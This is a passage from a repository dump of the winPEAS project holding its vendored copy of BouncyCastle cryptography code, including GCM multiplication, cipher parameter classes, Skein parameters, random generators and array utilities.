<summary>\n        /// Reset the cipher to the same state as it was after the last init (if there was one).\n        /// </summary>\n        void Reset();\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/gcm/BasicGcmExponentiator.cs",
    "content": "﻿using winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.modes.gcm\n{\n    public class BasicGcmExponentiator\n        : IGcmExponentiator\n    {\n        private ulong[] x;\n\n        public void Init(byte[] x)\n        {\n            this.x = GcmUtilities.AsUlongs(x);\n        }\n\n        public void ExponentiateX(long pow, byte[] output)\n        {\n            // Initial value is little-endian 1\n            ulong[] y = GcmUtilities.OneAsUlongs();\n\n            if (pow > 0)\n            {\n                ulong[] powX = Arrays.Clone(x);\n                do\n                {\n                    if ((pow & 1L) != 0)\n                    {\n                        GcmUtilities.Multiply(y, powX);\n                    }\n                    GcmUtilities.Square(powX, powX);\n                    pow >>= 1;\n                }\n                while (pow > 0);\n            }\n\n            GcmUtilities.AsBytes(y, output);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/gcm/IGcmExponentiator.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.crypto.modes.gcm\n{\n\tpublic interface IGcmExponentiator\n\t{\n\t\tvoid Init(byte[] x);\n\t\tvoid ExponentiateX(long pow, byte[] output);\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/gcm/IGcmMultiplier.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.crypto.modes.gcm\n{\n\tpublic interface IGcmMultiplier\n\t{\n\t\tvoid Init(byte[] H);\n\t\tvoid MultiplyH(byte[] x);\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/gcm/Tables4kGcmMultiplier.cs",
    "content": "﻿using winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.modes.gcm\n{\n    public class Tables4kGcmMultiplier\n      : IGcmMultiplier\n    {\n        private byte[] H;\n        private ulong[] T;\n\n        public void Init(byte[] H)\n        {\n            if (T == null)\n            {\n                T = new ulong[512];\n            }\n            else if (Arrays.AreEqual(this.H, H))\n            {\n                return;\n            }\n\n            this.H = Arrays.Clone(H);\n\n            // T[0] = 0\n\n            // T[1] = H.p^7\n            GcmUtilities.AsUlongs(this.H, T, 2);\n            GcmUtilities.MultiplyP7(T, 2, T, 2);\n\n            for (int n = 2; n < 256; n += 2)\n            {\n                // T[2.n] = T[n].p^-1\n                GcmUtilities.DivideP(T, n, T, n << 1);\n\n                // T[2.n + 1] = T[2.n] + T[1]\n                GcmUtilities.Xor(T, n << 1, T, 2, T, (n + 1) << 1);\n            }\n        }\n\n        public void MultiplyH(byte[] x)\n        {\n            //ulong[] z = new ulong[2];\n            //GcmUtilities.Copy(T, x[15] << 1, z, 0);\n            //for (int i = 14; i >= 0; --i)\n            //{\n            //    GcmUtilities.MultiplyP8(z);\n            //    GcmUtilities.Xor(z, 0, T, x[i] << 1);\n            //}\n            //Pack.UInt64_To_BE(z, x, 0);\n\n            int pos = x[15] << 1;\n            ulong z0 = T[pos + 0], z1 = T[pos + 1];\n\n            for (int i = 14; i >= 0; --i)\n            {\n                pos = x[i] << 1;\n\n                ulong c = z1 << 56;\n                z1 = T[pos + 1] ^ ((z1 >> 8) | (z0 << 56));\n                z0 = T[pos + 0] ^ (z0 >> 8) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7);\n            }\n\n            Pack.UInt64_To_BE(z0, x, 0);\n            Pack.UInt64_To_BE(z1, x, 8);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/parameters/AeadParameters.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.crypto.parameters\n{\n    public class AeadParameters\n\t : ICipherParameters\n\t{\n\t\tprivate readonly byte[] associatedText;\n\t\tprivate readonly byte[] nonce;\n\t\tprivate readonly KeyParameter key;\n\t\tprivate readonly int macSize;\n\n\t\t/**\n         * Base constructor.\n         *\n         * @param key key to be used by underlying cipher\n         * @param macSize macSize in bits\n         * @param nonce nonce to be used\n         */\n\t\tpublic AeadParameters(KeyParameter key, int macSize, byte[] nonce)\n\t\t   : this(key, macSize, nonce, null)\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t * Base constructor.\n\t\t *\n\t\t * @param key key to be used by underlying cipher\n\t\t * @param macSize macSize in bits\n\t\t * @param nonce nonce to be used\n\t\t * @param associatedText associated text, if any\n\t\t */\n\t\tpublic AeadParameters(\n\t\t\tKeyParameter key,\n\t\t\tint macSize,\n\t\t\tbyte[] nonce,\n\t\t\tbyte[] associatedText)\n\t\t{\n\t\t\tthis.key = key;\n\t\t\tthis.nonce = nonce;\n\t\t\tthis.macSize = macSize;\n\t\t\tthis.associatedText = associatedText;\n\t\t}\n\n\t\tpublic virtual KeyParameter Key\n\t\t{\n\t\t\tget { return key; }\n\t\t}\n\n\t\tpublic virtual int MacSize\n\t\t{\n\t\t\tget { return macSize; }\n\t\t}\n\n\t\tpublic virtual byte[] GetAssociatedText()\n\t\t{\n\t\t\treturn associatedText;\n\t\t}\n\n\t\tpublic virtual byte[] GetNonce()\n\t\t{\n\t\t\treturn nonce;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/parameters/KeyParameter.cs",
    "content": "﻿using System;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.parameters\n{\n\tpublic class KeyParameter\n\t   : ICipherParameters\n\t{\n\t\tprivate readonly byte[] key;\n\n\t\tpublic KeyParameter(\n\t\t\tbyte[] key)\n\t\t{\n\t\t\tif (key == null)\n\t\t\t\tthrow new ArgumentNullException(\"key\");\n\n\t\t\tthis.key = (byte[])key.Clone();\n\t\t}\n\n\t\tpublic KeyParameter(\n\t\t\tbyte[] key,\n\t\t\tint keyOff,\n\t\t\tint keyLen)\n\t\t{\n\t\t\tif (key == null)\n\t\t\t\tthrow new ArgumentNullException(\"key\");\n\t\t\tif (keyOff < 0 || keyOff > key.Length)\n\t\t\t\tthrow new ArgumentOutOfRangeException(\"keyOff\");\n\t\t\tif (keyLen < 0 || keyLen > (key.Length - keyOff))\n\t\t\t\tthrow new ArgumentOutOfRangeException(\"keyLen\");\n\n\t\t\tthis.key = new byte[keyLen];\n\t\t\tArray.Copy(key, keyOff, this.key, 0, keyLen);\n\t\t}\n\n\t\tpublic byte[] GetKey()\n\t\t{\n\t\t\treturn (byte[])key.Clone();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/parameters/ParametersWithIV.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.parameters\n{\n    public class ParametersWithIV\n        : ICipherParameters\n    {\n        private readonly ICipherParameters parameters;\n        private readonly byte[] iv;\n\n        public ParametersWithIV(ICipherParameters parameters,\n            byte[] iv)\n            : this(parameters, iv, 0, iv.Length)\n        {\n        }\n\n        public ParametersWithIV(ICipherParameters parameters,\n            byte[] iv, int ivOff, int ivLen)\n        {\n            // NOTE: 'parameters' may be null to imply key re-use\n            if (iv == null)\n                throw new ArgumentNullException(\"iv\");\n\n            this.parameters = parameters;\n            this.iv = Arrays.CopyOfRange(iv, ivOff, ivOff + ivLen);\n        }\n\n        public byte[] GetIV()\n        {\n            return (byte[])iv.Clone();\n        }\n\n        public ICipherParameters Parameters\n        {\n            get { return parameters; }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/parameters/ParametersWithSBox.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.crypto.parameters\n{\n\tpublic class ParametersWithSBox : ICipherParameters\n\t{\n\t\tprivate ICipherParameters parameters;\n\t\tprivate byte[] sBox;\n\n\t\tpublic ParametersWithSBox(\n\t\t\tICipherParameters parameters,\n\t\t\tbyte[] sBox)\n\t\t{\n\t\t\tthis.parameters = parameters;\n\t\t\tthis.sBox = sBox;\n\t\t}\n\n\t\tpublic byte[] GetSBox() { return sBox; }\n\n\t\tpublic ICipherParameters Parameters { get { return parameters; } }\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/parameters/SkeinParameters.cs",
    "content": "﻿using System;\nusing System.Collections;\nusing System.Globalization;\nusing System.IO;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.parameters\n{\n\t/// <summary>\n\t/// Parameters for the Skein hash function - a series of byte[] strings identified by integer tags.\n\t/// </summary>\n\t/// <remarks>\n\t/// Parameterised Skein can be used for:\n\t/// <ul> \n\t/// <li>MAC generation, by providing a <see cref=\"SkeinParameters.Builder.SetKey(byte[])\">key</see>.</li>\n\t/// <li>Randomised hashing, by providing a <see cref=\"SkeinParameters.Builder.SetNonce(byte[])\">nonce</see>.</li>\n\t/// <li>A hash function for digital signatures, associating a\n\t/// <see cref=\"SkeinParameters.Builder.SetPublicKey(byte[])\">public key</see> with the message digest.</li>\n\t/// <li>A key derivation function, by providing a\n\t/// <see cref=\"SkeinParameters.Builder.SetKeyIdentifier(byte[])\">key identifier</see>.</li>\n\t/// <li>Personalised hashing, by providing a\n\t/// <see cref=\"SkeinParameters.Builder.SetPersonalisation(DateTime,string,string)\">recommended format</see> or\n\t/// <see cref=\"SkeinParameters.Builder.SetPersonalisation(byte[])\">arbitrary</see> personalisation string.</li>\n\t/// </ul>\n\t/// </remarks>\n\t/// <seealso cref=\"Org.BouncyCastle.Crypto.Digests.SkeinEngine\"/>\n\t/// <seealso cref=\"Org.BouncyCastle.Crypto.Digests.SkeinDigest\"/>\n\t/// <seealso cref=\"Org.BouncyCastle.Crypto.Macs.SkeinMac\"/>\n\tpublic class SkeinParameters\n\t\t: ICipherParameters\n\t{\n\t\t/// <summary>\n\t\t/// The parameter type for a secret key, supporting MAC or KDF functions: 0\n\t\t/// </summary>\n\t\tpublic const int PARAM_TYPE_KEY = 0;\n\n\t\t/// <summary>\n\t\t/// The parameter type for the Skein configuration block: 4\n\t\t/// </summary>\n\t\tpublic const int PARAM_TYPE_CONFIG = 4;\n\n\t\t/// <summary>\n\t\t/// The parameter type for a personalisation string: 8\n\t\t/// </summary>\n\t\tpublic const int PARAM_TYPE_PERSONALISATION = 8;\n\n\t\t/// <summary>\n\t\t/// The parameter type for a public key: 12\n\t\t/// </summary>\n\t\tpublic const int PARAM_TYPE_PUBLIC_KEY = 12;\n\n\t\t/// <summary>\n\t\t/// The parameter type for a key identifier string: 16\n\t\t/// </summary>\n\t\tpublic const int PARAM_TYPE_KEY_IDENTIFIER = 16;\n\n\t\t/// <summary>\n\t\t/// The parameter type for a nonce: 20\n\t\t/// </summary>\n\t\tpublic const int PARAM_TYPE_NONCE = 20;\n\n\t\t/// <summary>\n\t\t/// The parameter type for the message: 48\n\t\t/// </summary>\n\t\tpublic const int PARAM_TYPE_MESSAGE = 48;\n\n\t\t/// <summary>\n\t\t/// The parameter type for the output transformation: 63\n\t\t/// </summary>\n\t\tpublic const int PARAM_TYPE_OUTPUT = 63;\n\n\t\tprivate IDictionary parameters;\n\n\t\tpublic SkeinParameters()\n\t\t\t: this(Platform.CreateHashtable())\n\n\t\t{\n\t\t}\n\n\t\tprivate SkeinParameters(IDictionary parameters)\n\t\t{\n\t\t\tthis.parameters = parameters;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Obtains a map of type (int) to value (byte[]) for the parameters tracked in this object.\n\t\t/// </summary>\n\t\tpublic IDictionary GetParameters()\n\t\t{\n\t\t\treturn parameters;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Obtains the value of the <see cref=\"PARAM_TYPE_KEY\">key parameter</see>, or <code>null</code> if not\n\t\t/// set.\n\t\t/// </summary>\n\t\t/// <returns>The key.</returns>\n\t\tpublic byte[] GetKey()\n\t\t{\n\t\t\treturn (byte[])parameters[PARAM_TYPE_KEY];\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Obtains the value of the <see cref=\"PARAM_TYPE_PERSONALISATION\">personalisation parameter</see>, or\n\t\t/// <code>null</code> if not set.\n\t\t/// </summary>\n\t\tpublic byte[] GetPersonalisation()\n\t\t{\n\t\t\treturn (byte[])parameters[PARAM_TYPE_PERSONALISATION];\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Obtains the value of the <see cref=\"PARAM_TYPE_PUBLIC_KEY\">public key parameter</see>, or\n\t\t/// <code>null</code> if not set.\n\t\t/// </summary>\n\t\tpublic byte[] GetPublicKey()\n\t\t{\n\t\t\treturn (byte[])parameters[PARAM_TYPE_PUBLIC_KEY];\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Obtains the value of the <see cref=\"PARAM_TYPE_KEY_IDENTIFIER\">key identifier parameter</see>, or\n\t\t/// <code>null</code> if not set.\n\t\t/// </summary>\n\t\tpublic byte[] GetKeyIdentifier()\n\t\t{\n\t\t\treturn (byte[])parameters[PARAM_TYPE_KEY_IDENTIFIER];\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Obtains the value of the <see cref=\"PARAM_TYPE_NONCE\">nonce parameter</see>, or <code>null</code> if\n\t\t/// not set.\n\t\t/// </summary>\n\t\tpublic byte[] GetNonce()\n\t\t{\n\t\t\treturn (byte[])parameters[PARAM_TYPE_NONCE];\n\t\t}\n\n\t\t/// <summary>\n\t\t/// A builder for <see cref=\"SkeinParameters\"/>.\n\t\t/// </summary>\n\t\tpublic class Builder\n\t\t{\n\t\t\tprivate IDictionary parameters = Platform.CreateHashtable();\n\n\t\t\tpublic Builder()\n\t\t\t{\n\t\t\t}\n\n\t\t\tpublic Builder(IDictionary paramsMap)\n\t\t\t{\n\t\t\t\tIEnumerator keys = paramsMap.Keys.GetEnumerator();\n\t\t\t\twhile (keys.MoveNext())\n\t\t\t\t{\n\t\t\t\t\tint key = (int)keys.Current;\n\t\t\t\t\tparameters.Add(key, paramsMap[key]);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tpublic Builder(SkeinParameters parameters)\n\t\t\t{\n\t\t\t\tIEnumerator keys = parameters.parameters.Keys.GetEnumerator();\n\t\t\t\twhile (keys.MoveNext())\n\t\t\t\t{\n\t\t\t\t\tint key = (int)keys.Current;\n\t\t\t\t\tthis.parameters.Add(key, parameters.parameters[key]);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/// <summary>\n\t\t\t/// Sets a parameters to apply to the Skein hash function.\n\t\t\t/// </summary>\n\t\t\t/// <remarks>\n\t\t\t/// Parameter types must be in the range 0,5..62, and cannot use the value 48\n\t\t\t/// (reserved for message body).\n\t\t\t/// <p/>\n\t\t\t/// Parameters with type &lt; 48 are processed before\n\t\t\t/// the message content, parameters with type &gt; 48\n\t\t\t/// are processed after the message and prior to output.\n\t\t\t/// </remarks>\n\t\t\t/// <param name=\"type\">the type of the parameter, in the range 5..62.</param>\n\t\t\t/// <param name=\"value\">the byte sequence of the parameter.</param>\n\t\t\tpublic Builder Set(int type, byte[] value)\n\t\t\t{\n\t\t\t\tif (value == null)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException(\"Parameter value must not be null.\");\n\t\t\t\t}\n\t\t\t\tif ((type != PARAM_TYPE_KEY)\n\t\t\t\t\t&& (type <= PARAM_TYPE_CONFIG || type >= PARAM_TYPE_OUTPUT || type == PARAM_TYPE_MESSAGE))\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException(\"Parameter types must be in the range 0,5..47,49..62.\");\n\t\t\t\t}\n\t\t\t\tif (type == PARAM_TYPE_CONFIG)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException(\"Parameter type \" + PARAM_TYPE_CONFIG\n\t\t\t\t\t\t\t\t\t\t\t\t+ \" is reserved for internal use.\");\n\t\t\t\t}\n\t\t\t\tthis.parameters.Add(type, value);\n\t\t\t\treturn this;\n\t\t\t}\n\n\t\t\t/// <summary>\n\t\t\t/// Sets the <see cref=\"SkeinParameters.PARAM_TYPE_KEY\"/> parameter.\n\t\t\t/// </summary>\n\t\t\tpublic Builder SetKey(byte[] key)\n\t\t\t{\n\t\t\t\treturn Set(PARAM_TYPE_KEY, key);\n\t\t\t}\n\n\t\t\t/// <summary>\n\t\t\t/// Sets the <see cref=\"SkeinParameters.PARAM_TYPE_PERSONALISATION\"/> parameter.\n\t\t\t/// </summary>\n\t\t\tpublic Builder SetPersonalisation(byte[] personalisation)\n\t\t\t{\n\t\t\t\treturn Set(PARAM_TYPE_PERSONALISATION, personalisation);\n\t\t\t}\n\n\t\t\t/// <summary>\n\t\t\t/// Implements the recommended personalisation format for Skein defined in Section 4.11 of\n\t\t\t/// the Skein 1.3 specification.\n\t\t\t/// </summary>\n\t\t\t/// <remarks>\n\t\t\t/// The format is <code>YYYYMMDD email@address distinguisher</code>, encoded to a byte\n\t\t\t/// sequence using UTF-8 encoding.\n\t\t\t/// </remarks>\n\t\t\t/// <param name=\"date\">the date the personalised application of the Skein was defined.</param>\n\t\t\t/// <param name=\"emailAddress\">the email address of the creation of the personalised application.</param>\n\t\t\t/// <param name=\"distinguisher\">an arbitrary personalisation string distinguishing the application.</param>\n\t\t\tpublic Builder SetPersonalisation(DateTime date, string emailAddress, string distinguisher)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tMemoryStream bout = new MemoryStream();\n\t\t\t\t\tStreamWriter outBytes = new StreamWriter(bout, System.Text.Encoding.UTF8);\n\t\t\t\t\toutBytes.Write(date.ToString(\"YYYYMMDD\", CultureInfo.InvariantCulture));\n\t\t\t\t\toutBytes.Write(\" \");\n\t\t\t\t\toutBytes.Write(emailAddress);\n\t\t\t\t\toutBytes.Write(\" \");\n\t\t\t\t\toutBytes.Write(distinguisher);\n\t\t\t\t\tPlatform.Dispose(outBytes);\n\t\t\t\t\treturn Set(PARAM_TYPE_PERSONALISATION, bout.ToArray());\n\t\t\t\t}\n\t\t\t\tcatch (IOException e)\n\t\t\t\t{\n\t\t\t\t\tthrow new InvalidOperationException(\"Byte I/O failed.\", e);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/// <summary>\n\t\t\t/// Sets the <see cref=\"SkeinParameters.PARAM_TYPE_KEY_IDENTIFIER\"/> parameter.\n\t\t\t/// </summary>\n\t\t\tpublic Builder SetPublicKey(byte[] publicKey)\n\t\t\t{\n\t\t\t\treturn Set(PARAM_TYPE_PUBLIC_KEY, publicKey);\n\t\t\t}\n\n\t\t\t/// <summary>\n\t\t\t/// Sets the <see cref=\"SkeinParameters.PARAM_TYPE_KEY_IDENTIFIER\"/> parameter.\n\t\t\t/// </summary>\n\t\t\tpublic Builder SetKeyIdentifier(byte[] keyIdentifier)\n\t\t\t{\n\t\t\t\treturn Set(PARAM_TYPE_KEY_IDENTIFIER, keyIdentifier);\n\t\t\t}\n\n\t\t\t/// <summary>\n\t\t\t/// Sets the <see cref=\"SkeinParameters.PARAM_TYPE_NONCE\"/> parameter.\n\t\t\t/// </summary>\n\t\t\tpublic Builder SetNonce(byte[] nonce)\n\t\t\t{\n\t\t\t\treturn Set(PARAM_TYPE_NONCE, nonce);\n\t\t\t}\n\n\t\t\t/// <summary>\n\t\t\t/// Constructs a new <see cref=\"SkeinParameters\"/> instance with the parameters provided to this\n\t\t\t/// builder.\n\t\t\t/// </summary>\n\t\t\tpublic SkeinParameters Build()\n\t\t\t{\n\t\t\t\treturn new SkeinParameters(parameters);\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/parameters/TweakableBlockCipherParameters.cs",
    "content": "﻿using winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.parameters\n{\n\t/// <summary>\n\t/// Parameters for tweakable block ciphers.\n\t/// </summary>\n\tpublic class TweakableBlockCipherParameters\n\t\t: ICipherParameters\n\t{\n\t\tprivate readonly byte[] tweak;\n\t\tprivate readonly KeyParameter key;\n\n\t\tpublic TweakableBlockCipherParameters(KeyParameter key, byte[] tweak)\n\t\t{\n\t\t\tthis.key = key;\n\t\t\tthis.tweak = Arrays.Clone(tweak);\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Gets the key.\n\t\t/// </summary>\n\t\t/// <value>the key to use, or <code>null</code> to use the current key.</value>\n\t\tpublic KeyParameter Key\n\t\t{\n\t\t\tget { return key; }\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Gets the tweak value.\n\t\t/// </summary>\n\t\t/// <value>The tweak to use, or <code>null</code> to use the current tweak.</value>\n\t\tpublic byte[] Tweak\n\t\t{\n\t\t\tget { return tweak; }\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/prng/CryptoApiRandomGenerator.cs",
    "content": "﻿using System;\nusing System.Security.Cryptography;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.prng\n{\n    /// <summary>\n    /// Uses RandomNumberGenerator.Create() to get randomness generator\n    /// </summary>\n    public class CryptoApiRandomGenerator\n        : IRandomGenerator\n    {\n        private readonly RandomNumberGenerator rndProv;\n\n        public CryptoApiRandomGenerator()\n            : this(RandomNumberGenerator.Create())\n        {\n        }\n\n        public CryptoApiRandomGenerator(RandomNumberGenerator rng)\n        {\n            this.rndProv = rng;\n        }\n\n        #region IRandomGenerator Members\n\n        public virtual void AddSeedMaterial(byte[] seed)\n        {\n            // We don't care about the seed\n        }\n\n        public virtual void AddSeedMaterial(long seed)\n        {\n            // We don't care about the seed\n        }\n\n        public virtual void NextBytes(byte[] bytes)\n        {\n            rndProv.GetBytes(bytes);\n        }\n\n        public virtual void NextBytes(byte[] bytes, int start, int len)\n        {\n            if (start < 0)\n                throw new ArgumentException(\"Start offset cannot be negative\", \"start\");\n            if (bytes.Length < (start + len))\n                throw new ArgumentException(\"Byte array too small for requested offset and length\");\n\n            if (bytes.Length == len && start == 0)\n            {\n                NextBytes(bytes);\n            }\n            else\n            {\n                byte[] tmpBuf = new byte[len];\n                NextBytes(tmpBuf);\n                Array.Copy(tmpBuf, 0, bytes, start, len);\n            }\n        }\n\n        #endregion\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/prng/DigestRandomGenerator.cs",
    "content": "﻿using winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.prng\n{\n\t/**\n\t * Random generation based on the digest with counter. Calling AddSeedMaterial will\n\t * always increase the entropy of the hash.\n\t * <p>\n\t * Internal access to the digest is synchronized so a single one of these can be shared.\n\t * </p>\n\t */\n\tpublic class DigestRandomGenerator\n\t\t: IRandomGenerator\n\t{\n\t\tprivate const long CYCLE_COUNT = 10;\n\n\t\tprivate long stateCounter;\n\t\tprivate long seedCounter;\n\t\tprivate IDigest digest;\n\t\tprivate byte[] state;\n\t\tprivate byte[] seed;\n\n\t\tpublic DigestRandomGenerator(\n\t\t\tIDigest digest)\n\t\t{\n\t\t\tthis.digest = digest;\n\n\t\t\tthis.seed = new byte[digest.GetDigestSize()];\n\t\t\tthis.seedCounter = 1;\n\n\t\t\tthis.state = new byte[digest.GetDigestSize()];\n\t\t\tthis.stateCounter = 1;\n\t\t}\n\n\t\tpublic void AddSeedMaterial(\n\t\t\tbyte[] inSeed)\n\t\t{\n\t\t\tlock (this)\n\t\t\t{\n\t\t\t\tDigestUpdate(inSeed);\n\t\t\t\tDigestUpdate(seed);\n\t\t\t\tDigestDoFinal(seed);\n\t\t\t}\n\t\t}\n\n\t\tpublic void AddSeedMaterial(\n\t\t\tlong rSeed)\n\t\t{\n\t\t\tlock (this)\n\t\t\t{\n\t\t\t\tDigestAddCounter(rSeed);\n\t\t\t\tDigestUpdate(seed);\n\t\t\t\tDigestDoFinal(seed);\n\t\t\t}\n\t\t}\n\n\t\tpublic void NextBytes(\n\t\t\tbyte[] bytes)\n\t\t{\n\t\t\tNextBytes(bytes, 0, bytes.Length);\n\t\t}\n\n\t\tpublic void NextBytes(\n\t\t\tbyte[] bytes,\n\t\t\tint start,\n\t\t\tint len)\n\t\t{\n\t\t\tlock (this)\n\t\t\t{\n\t\t\t\tint stateOff = 0;\n\n\t\t\t\tGenerateState();\n\n\t\t\t\tint end = start + len;\n\t\t\t\tfor (int i = start; i < end; ++i)\n\t\t\t\t{\n\t\t\t\t\tif (stateOff == state.Length)\n\t\t\t\t\t{\n\t\t\t\t\t\tGenerateState();\n\t\t\t\t\t\tstateOff = 0;\n\t\t\t\t\t}\n\t\t\t\t\tbytes[i] = state[stateOff++];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tprivate void CycleSeed()\n\t\t{\n\t\t\tDigestUpdate(seed);\n\t\t\tDigestAddCounter(seedCounter++);\n\t\t\tDigestDoFinal(seed);\n\t\t}\n\n\t\tprivate void GenerateState()\n\t\t{\n\t\t\tDigestAddCounter(stateCounter++);\n\t\t\tDigestUpdate(state);\n\t\t\tDigestUpdate(seed);\n\t\t\tDigestDoFinal(state);\n\n\t\t\tif ((stateCounter % CYCLE_COUNT) == 0)\n\t\t\t{\n\t\t\t\tCycleSeed();\n\t\t\t}\n\t\t}\n\n\t\tprivate void DigestAddCounter(long seedVal)\n\t\t{\n\t\t\tbyte[] bytes = new byte[8];\n\t\t\tPack.UInt64_To_LE((ulong)seedVal, bytes);\n\t\t\tdigest.BlockUpdate(bytes, 0, bytes.Length);\n\t\t}\n\n\t\tprivate void DigestUpdate(byte[] inSeed)\n\t\t{\n\t\t\tdigest.BlockUpdate(inSeed, 0, inSeed.Length);\n\t\t}\n\n\t\tprivate void DigestDoFinal(byte[] result)\n\t\t{\n\t\t\tdigest.DoFinal(result, 0);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/prng/IRandomGenerator.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.crypto.prng\n{\n\t/// <remarks>Generic interface for objects generating random bytes.</remarks>\n\tpublic interface IRandomGenerator\n\t{\n\t\t/// <summary>Add more seed material to the generator.</summary>\n\t\t/// <param name=\"seed\">A byte array to be mixed into the generator's state.</param>\n\t\tvoid AddSeedMaterial(byte[] seed);\n\n\t\t/// <summary>Add more seed material to the generator.</summary>\n\t\t/// <param name=\"seed\">A long value to be mixed into the generator's state.</param>\n\t\tvoid AddSeedMaterial(long seed);\n\n\t\t/// <summary>Fill byte array with random values.</summary>\n\t\t/// <param name=\"bytes\">Array to be filled.</param>\n\t\tvoid NextBytes(byte[] bytes);\n\n\t\t/// <summary>Fill byte array with random values.</summary>\n\t\t/// <param name=\"bytes\">Array to receive bytes.</param>\n\t\t/// <param name=\"start\">Index to start filling at.</param>\n\t\t/// <param name=\"len\">Length of segment to fill.</param>\n\t\tvoid NextBytes(byte[] bytes, int start, int len);\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/util/Arrays.cs",
    "content": "﻿using System;\nusing System.Text;\nusing winPEAS._3rdParty.BouncyCastle.math;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.util\n{\n    /// <summary> General array utilities.</summary>\n    public abstract class Arrays\n    {\n        public static readonly byte[] EmptyBytes = new byte[0];\n        public static readonly int[] EmptyInts = new int[0];\n\n        public static bool AreAllZeroes(byte[] buf, int off, int len)\n        {\n            uint bits = 0;\n            for (int i = 0; i < len; ++i)\n            {\n                bits |= buf[off + i];\n            }\n            return bits == 0;\n        }\n\n        public static bool AreEqual(\n            bool[] a,\n            bool[] b)\n        {\n            if (a == b)\n                return true;\n\n            if (a == null || b == null)\n                return false;\n\n            return HaveSameContents(a, b);\n        }\n\n        public static bool AreEqual(\n            char[] a,\n            char[] b)\n        {\n            if (a == b)\n                return true;\n\n            if (a == null || b == null)\n                return false;\n\n            return HaveSameContents(a, b);\n        }\n\n        /// <summary>\n        /// Are two arrays equal.\n        /// </summary>\n        /// <param name=\"a\">Left side.</param>\n        /// <param name=\"b\">Right side.</param>\n        /// <returns>True if equal.</returns>\n        public static bool AreEqual(byte[] a, byte[] b)\n        {\n            if (a == b)\n                return true;\n\n            if (a == null || b == null)\n                return false;\n\n            return HaveSameContents(a, b);\n        }\n\n        public static bool AreEqual(byte[] a, int aFromIndex, int aToIndex, byte[] b, int bFromIndex, int bToIndex)\n        {\n            int aLength = aToIndex - aFromIndex;\n            int bLength = bToIndex - bFromIndex;\n\n            if (aLength != bLength)\n                return false;\n\n            for (int i = 0; i < aLength; ++i)\n            {\n                if (a[aFromIndex + i] != b[bFromIndex + i])\n                    return false;\n            }\n\n            return true;\n        }\n\n        [Obsolete(\"Use 'AreEqual' method instead\")]\n        public static bool AreSame(\n            byte[] a,\n            byte[] b)\n        {\n            return AreEqual(a, b);\n        }\n\n        /// <summary>\n        /// A constant time equals comparison - does not terminate early if\n        /// test will fail.\n        /// </summary>\n        /// <param name=\"a\">first array</param>\n        /// <param name=\"b\">second array</param>\n        /// <returns>true if arrays equal, false otherwise.</returns>\n        public static bool ConstantTimeAreEqual(byte[] a, byte[] b)\n        {\n            if (null == a || null == b)\n                return false;\n            if (a == b)\n                return 